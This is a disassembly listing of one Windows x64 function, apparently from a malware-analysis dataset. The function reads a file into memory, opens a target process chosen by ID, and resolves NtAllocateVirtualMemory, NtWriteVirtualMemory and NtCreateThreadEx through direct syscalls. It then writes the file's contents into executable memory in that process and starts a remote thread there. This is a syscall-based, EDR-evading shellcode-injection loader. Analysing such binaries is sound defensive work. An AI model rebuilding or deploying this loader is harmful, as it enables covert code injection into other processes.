Function at 0x140001ce0
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x158
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x148], rax
call fcn.140001b40
movzx eax, al
test eax, eax
jne 0x140001d24
lea rcx, str.could_not_Initialize_the_Syscalls_n
call fcn.140001c50
mov eax, 0xffffffff
jmp 0x1400020f9
mov qword [rsp + 0xd8], 0
mov eax, 8
imul rax, rax, 1
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
mov rcx, qword [rsp + 0x168]
mov rcx, qword [rcx + rax]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0xffffffffffffffff
jne 0x140001d89
mov eax, 0xffffffff
jmp 0x1400020f9
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov eax, eax
mov qword [rsp + 0x130], rax
cmp qword [rsp + 0x130], 0
jne 0x140001db5
mov eax, 0xffffffff
jmp 0x1400020f9
mov qword [rsp + 0xe8], 0
mov qword [rsp + 0x78], 0xffffffffffffffff
lea rcx, str.NtAllocateVirtualMemory
call fcn.140001710
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0x130]
xor r8d, r8d
lea rdx, [rsp + 0xd8]
mov rcx, qword [rsp + 0x78]
call qword [rsp + 0x80]
lea rcx, str.NtReadFile
call fcn.140001710
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov eax, dword [rsp + 0x130]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x138]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0x90]
mov eax, 8
imul rax, rax, 2
mov rcx, qword [rsp + 0x168]
mov rcx, qword [rcx + rax]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov dword [rsp + 0x64], eax
mov dword [rsp + 0x100], 0x30
mov qword [rsp + 0x108], 0
mov dword [rsp + 0x118], 0
mov qword [rsp + 0x110], 0
mov qword [rsp + 0x120], 0
mov qword [rsp + 0x128], 0
movsxd rax, dword [rsp + 0x64]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 0
lea rcx, str.NtOpenProcess
call fcn.140001710
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xa0], rax
lea r9, [rsp + 0xf0]
lea r8, [rsp + 0x100]
mov edx, 0x1fffff
lea rcx, [rsp + 0xd0]
call qword [rsp + 0xa0]
nop
cmp qword [rsp + 0xd0], 0
jne 0x140001f70
lea rcx, str.Failed_to_open_process
call fcn.140001c50
mov eax, 0xffffffff
jmp 0x1400020f9
mov rdx, qword [rsp + 0xd0]
lea rcx, str.the_handle_value_of_the_target_process_is________d_
call fcn.140001c50
nop
mov qword [rsp + 0xe0], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0x130]
xor r8d, r8d
lea rdx, [rsp + 0xe0]
mov rcx, qword [rsp + 0xd0]
call qword [rsp + 0xa8]
mov dword [rsp + 0x60], eax
lea rcx, str.NtWriteVirtualMemory
call fcn.140001710
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x130]
mov r8, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xd0]
call qword [rsp + 0xb8]
mov dword [rsp + 0x60], eax
lea rcx, str.NtCreateThreadEx
call fcn.140001710
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xd0]
xor r8d, r8d
mov edx, 0x10000000
lea rcx, [rsp + 0xe8]
call qword [rsp + 0xc8]
mov dword [rsp + 0x60], eax
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
call fcn.140001bb0
movzx eax, al
test eax, eax
je 0x1400020ea
lea rcx, str.All_Good_:__n
call fcn.140001c50
nop
jmp 0x1400020f7
lea rcx, str.Some_thing_Went_Wrong
call fcn.140001c50
nop
xor eax, eax
mov rcx, qword [rsp + 0x148]
xor rcx, rsp
call fcn.140002130
add rsp, 0x158
ret